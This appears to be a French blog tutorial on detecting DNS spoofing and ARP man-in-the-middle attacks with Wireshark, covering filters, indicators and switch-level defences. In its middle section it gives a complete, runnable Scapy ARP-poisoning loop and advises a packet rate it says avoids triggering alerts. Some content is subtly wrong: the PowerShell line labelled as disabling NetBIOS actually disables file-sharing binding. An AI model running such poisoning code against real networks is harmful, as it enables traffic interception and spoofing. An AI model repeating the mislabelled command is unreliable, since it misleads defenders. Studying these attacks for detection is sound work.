Analyse approfondie des attaques DNS spoofing et ARP MITM avec Wireshark

Introduction aux mécanismes d'attaque et au rôle de Wireshark

Les attaques de type DNS spoofing et ARP man-in-the-middle exploitent des faiblesses fondamentales des protocoles réseau. Le DNS, par conception, manque de chiffrement et d'authentification, tandis que le protocole ARP ne dispose d'aucune vérification d'intégrité. Wireshark permet de capturer et d'analyser simultanément ces flux pour identifier les anomalies.

Décryptage du DNS spoofing via l'analyse des paquets

La première étape d'une attaque DNS spoofing consiste à corrompre la table ARP de la cible. L'attaquant envoie des réponses ARP falsifiées pour associer l'adresse IP du serveur DNS à sa propre adresse MAC. Dans Wireshark, on peut filtrer ces paquets anormaux avec une expression comme :

arp.opcode == 2 && arp.dst.proto_ipv4 == "10.0.0.1"

En conditions normales, ces annonces ARP surviennent rarement ; en cas d'attaque, leur fréquence augmente significativement.

Une fois le cache ARP compromis, l'attaquant intercepte les requêtes DNS et renvoie des réponses falsifiées. Trois indicateurs clés permettent de détecter ces réponses :

  • TTL anormalement bas : les réponses légitimes ont généralement un TTL entre 300 et 86400 secondes, tandis que les réponses falsifiées utilisent des valeurs très faibles (ex : 1-60 secondes).
  • Incohérence des bits AA et RCODE : une réponse marquée comme autoritaire (AA=1) mais avec un RCODE indiquant une erreur peut révéler une falsification.
  • Erreurs de checksum UDP : beaucoup d'outils d'attaque désactivent le calcul des checksums pour des raisons de performance, ce qui se manifeste dans Wireshark par des avertissements "bad checksum".

Pour une analyse fiable, il est recommandé d'utiliser le flux UDP (Follow UDP Stream) pour visualiser les séquences requête-réponse complètes et identifier les réponses parasites par rapport aux réponses authentiques.

Analyse de l'attaque ARP MITM avec Scapy

La mise en œuvre d'une attaque ARP man-in-the-middle nécessite un timing précis pour éviter les mécanismes de défense comme le port security. Des tests ont montré qu'une fréquence d'environ 2-3 annonces par seconde est optimale pour compromettre les caches ARP sans déclencher d'alertes.

Voici un exemple de script Python modifié utilisant Scapy pour cette attaque :

from scapy.all import *
import time

victim_ip = "10.0.0.50"
dns_server_ip = "10.0.0.1"
attacker_mac_addr = "00:1a:2b:3c:4d:5e"

def arp_poisoning():
    # Paquet pour le serveur DNS
    p1 = ARP(op=2, psrc=victim_ip, pdst=dns_server_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=attacker_mac_addr)
    # Paquet pour la victime
    p2 = ARP(op=2, psrc=dns_server_ip, pdst=victim_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=attacker_mac_addr)
    send(p1, verbose=0)
    send(p2, verbose=0)

while True:
    arp_poisoning()
    time.sleep(0.4)  # Intervalle ajusté pour une fréquence d'environ 2.5 paquets/seconde

Ce script utilise des adresses IP et MAC différentes de l'original et modifie la logique d'envoi pour mieux simuler une attaque réaliste.

Stratégies de détection et de défense

Pour détecter les attaques ARP, on peut utiliser des filtres Wireshark comme icmp.type == 5 pour identifier les redirections ICMP suspectes, qui peuvent indiquer un appareil non-routeur participant à une attaque MITM.

Les mesures de défense comprennent :

  • Utilisation de DHCP Snooping et Dynamic ARP Inspection (DAI) sur les commutateurs pour valider les associations IP-MAC.
  • Désactivation de NetBIOS et LLMNR sur les hôtes Windows pour réduire les vecteurs d'attaque, via des commandes PowerShell comme : ```

    Désactiver NetBIOS

    Get-NetAdapter | ForEach-Object { Set-NetAdapterBinding -Name $_.Name -ComponentID ms_server -Enabled $false }

    Désactiver LLMNR

    Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows NT\DNSClient" -Name "EnableMulticast" -Value 0
  • Déploiement de DNSSEC pour signer numériquement les enregistrements DNS et empêcher la falsification, en se concentrant sur les sous-domaines critiques.

Astuces pratiques pour l'analyse Wireshark

Lors de l'analyse des paquets, plusieurs problèmes courants peuvent survenir :

  • Paquets DNS "malformed" : souvent dus à un remplissage incorrcet par des outils d'attaque. Désactiver la vérification du checksum UDP dans les préférences peut aider à visualiser le contenu.
  • Adresses MAC affichées comme "00:00:00:00:00:00" : vérifier manuellement les champs bruts du paquet ARP pour confirmer les adresses sources et destinations.
  • Timestmaps incorrects : utiliser la commande editcap pour corriger les horodatages si nécessaire.

Pour une analyse automatisée, on peut exporter les données en CSV avec tshark et les traiter avec des outils comme Python pour détecter des patterns suspects tels que des valeurs TTL extrêmes ou des fréquences ARP anormales.

Étiquettes: Wireshark DNS spoofing ARP spoofing analyse de paquets sécurité réseau

Publié le 22 juin à 21h00